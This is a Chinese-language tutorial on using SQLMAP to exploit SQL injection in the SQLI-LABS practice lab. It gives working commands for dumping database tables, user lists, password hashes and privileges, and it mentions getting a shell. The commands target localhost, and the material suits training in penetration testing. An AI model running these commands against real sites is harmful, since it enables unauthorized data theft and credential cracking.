🌟想了解这个工具的其它相关笔记?看看这个:SQL 注入自动探测工具 —— SQLMAP 使用手册
当我们使用 SQLMAP 发现目标站点可能存在 SQL 注入漏洞后,就可以使用 SQLMAP 进行进一步的利用,比如 “获取数据库信息”。那么本章,笔者将继续以 SQLI LABS 靶场为例,讲解如何使用 SQLMAP 这款工具进行 SQL 注入的漏洞利用。
小贴士
SQLMAP 当发现某个站点疑似存在注入点时,就会把数据记录下来,你下次再使用相同的命令去挖掘的时候,它就会直接给你展示它测试出来的结果,以避免重复测试。
备注:SQLMAP 数据存放目录:
C:\Users\用户名\AppData\Local\sqlmap\output
0x01:信息枚举 — 数据库内容数据
既然是数据库,肯定得优先关注数据库中的内容啦,比如有啥 “数据库”、“数据库表”、“数据库表字段”、“数据库表内容”。
0x0101:获取数据库列表 — --dbs
在运行 SQLMAP 的时候加上 --dbs
参数可以让其枚举目标站点后端的所有数据库:
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 --dbs
0x0102:获取数据库表信息 — --tables
当我们知道了目标后端存在的数据库表名后,我们可以进一步的通过 --tables
获取指定数据库中存在的表名,指定数据库需要通过 -D
参数指定:
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 -D security --tables
0x0103:获取数据表字段信息 — --columns
知道了数据表名后我们就可以尝试通过 --columns
参数枚举出指定数据表中存在的字段数(要通过 -D
指定枚举的数据库,-T
指定枚举的数据表名):
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 -D security -T users --columns
0x0104:获取数据库表条目数 — --count
了解了数据表的字段信息后,我们还要了解一下目标数据表中的数据条目数,如果目标数据库数据量过大,直接导出怕对方系统崩溃,那就不好玩了。通过 --count
参数可以获取指定数据表的数据条目数:
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 -D security -T users --count
0x0105:获取数据库表内容 — --dump
发现目标数据库表数据量不大,我们就可以通过添加 --dump
参数直接导出指定数据表中的内容(实战中只要到读取表名就足够了,脱裤是违法的):
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 -D security -T users --dump
0x02:信息枚举 — 数据库系统信息
除了枚举上面讲到的 “数据库内容数据”,我们还可以通过 SQLMAP 获取一些数据库系统相关的信息,比如 DBMS Banner(指纹)、当前站点正在使用的数据库,当前使用数据库的用户呀等等之类的信息,为我们后续的渗透做铺垫。
0x0201:获取数据库 Banner — -b
通过 -b
参数可以让 SQLMAP 获取目标 DMBS 的 Banner,即横幅信息:
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -b
0x0202:获取当前正在执行操作的 DBMS 用户名
使用 --current-user
参数,可以让 DBMS 获取当前正在执行操作的 DBMS 的用户名(主要是用来判断权限的,如果权限够高,我们就有机会进行提权操作):
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-user
0x0203:获取当前站点正在使用的数据库名称
通过 --current-db
参数,可以让 SQLMAP 列出当前注入接口正在使用的后端数据库的名称(方便定位关键数据库):
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db
0x0204:探测 DBMS 当前用户是否为 DBA
通过 --is-dba
参数,可以让 SQLMAP 判断当前我们获取的数据库用户是否为数据库管理员(如果不是就不能 GetShell 了):
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --is-dba
0x0205:获取当前 DBMS 中所有的用户
通过 --users
参数,可以让 SQLMAP 枚举出当前 DBMS 中的所有用户(可以操作数据库的用户):
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --users
0x0206:获取当前 DBMS 中所有用户的密码哈希
通过 --passwords
参数,可以枚举出 DBMS 中所有用户的密码哈希,不单单是枚举,它甚至还会自动进行爆破:
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --passwords
0x0207:获取当前 DBMS 中所有用户的权限信息
通过 --privileges
参数,可以让 SQLMAP 枚举出当前数据库中所有用户的权限信息:
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --privileges